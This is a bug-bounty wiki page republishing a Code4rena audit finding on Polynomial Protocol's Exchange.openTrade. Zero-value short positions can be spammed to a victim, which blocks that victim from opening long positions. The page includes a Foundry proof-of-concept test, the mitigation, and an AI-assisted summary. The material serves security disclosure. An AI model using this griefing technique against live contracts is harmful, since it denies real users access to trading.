Skip to content
DoS Audit finding Intermediate

Possible spamming attack in opening or closing Long or Short Positions in Exchange.openTrade

The exchange allows opening a short position with zero amount and zero collateral, which creates a short token. An attacker can spam these zero-value short tokens to a victim, preventing the victim from opening a long position because the contract requires no short position to exist before opening a long.

PaludoX0 Follow with Bauer

Originally disclosed on Code4rena

Submitted by PaludoX0, also found by Bauer

One user that wants to open a short position shall not have a long position already opened and viceversa.

This is the check for opening a long position:

    if (params.isLong) {
        uint256 shortPositions = shortToken.balanceOf(msg.sender);
        require(shortPositions == 0, "Short position must be closed before opening");

This is the check for opening a short position:

    } else {
        uint256 holdings = powerPerp.balanceOf(msg.sender);
        require(holdings == 0, "Long position must be closed before opening");

The issue is that anyone can open a short position with value 0 without binding any collateral and then spamming the short token to user that would like to open a position. Neither in Exchange._openTrade or ShortToken.sol.adjustPosition there’s a check the amount of short shall be > 0

Proof of Concept

Copy and paste the following POC in test/Exchange.Simple.t.sol

function testMultipleShortOpen0AmountandSpam() public {
//Open a short position for user_1 with 0 shortAmount and 0 collateral
    for (uint256 i = 0; i < 1000; i++) {
        (uint256 positionId, Exchange.TradeParams memory tradeParams) = openShort(0, 0, user_1);
        (uint256 _positionId, uint256 _shortAmount, uint256 _collateralAmount, ) = shortToken.shortPositions(positionId);

    //(, uint256 _collateralAmount) = shortCollateral.userCollaterals(positionId);
        assertEq(_shortAmount, 0);
        assertEq(positionId, i);
        assertEq(shortToken.balanceOf(user_1), i);
        assertEq(_collateralAmount, 0);
    }

//Open Long for user_1 and it will revert because it has at least one short opened
    susd.mint(user_1, 1000e18);
    Exchange.TradeParams memory tradeParamsL;
    tradeParamsL.isLong = true;
    tradeParamsL.amount = 1e18;
    tradeParamsL.maxCost = 1000e18;
vm.startPrank(user_1);
    susd.approve(address(getPool()), 1000e18);

vm.expectRevert();
    exchange.openTrade(tradeParamsL);

//Perp balance of user_1 is 0
assertEq(powerPerp.balanceOf(user_1), 0);

//user_1 transfers a shortToken to user_2
    uint256 positionId =55;
    shortToken.safeTransferFrom(user_1, user_2, positionId);
vm.stopPrank();  //end of domain of user_1

//Open Long for user_2 it will revert because it has a short opened

    susd.mint(user_2, 1000e18);
    tradeParamsL.isLong = true;
    tradeParamsL.amount = 2e18;
    tradeParamsL.maxCost = 1000e18;
    vm.startPrank(user_2);
    susd.approve(address(getPool()), 1000e18);
vm.expectRevert();
    exchange.openTrade(tradeParamsL);
vm.stopPrank();
assertEq(powerPerp.balanceOf(user_2),0);
}

Tools Used

Manual review and foundry forge

Recommended Mitigation Steps

It’s suggested to set a sensible minimum amount of tokens to be withdrawn or at least to be greater than 0.

Dravee (judge) commented:

The POC fails, but can be corrected with the following:

-    for (uint256 i = 0; i < 1000; i++) {
+    for (uint256 i = 1; i < 1000; i++) {

Dravee (judge) decreased severity to Medium

mubaris (Polynomial) confirmed


The original report as published on Code4rena, by PaludoX0. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the missing validation that the short amount must be greater than zero when opening a short position, allowing zero-value positions to be created and transferred.

Impact

An attacker could block users from opening long positions by spamming them with zero-value short tokens, causing a denial of service for those users.

What the attacker needed

Attacker can open a short position; attacker can transfer short tokens to victim

The fix

The exchange should enforce a sensible minimum short amount, at least greater than zero, when opening a short position.

How it was found

  1. Open a short position with zero amount and zero collateral for a user.
  2. Repeat this many times to create multiple zero-value short tokens for that user.
  3. Attempt to open a long position for the same user; it reverts because the user has short tokens.
  4. Transfer one of the zero-value short tokens to another user.
  5. Attempt to open a long position for the second user; it also reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this trading system, you cannot have both a long and a short position open at the same time. The code checks if you have any short tokens before letting you open a long. But it does not check that the short position has a non-zero amount, so someone can create many empty short positions and send them to you. Then you are blocked from opening a long position because the system thinks you already have a short.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from Polynomial Protocol contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.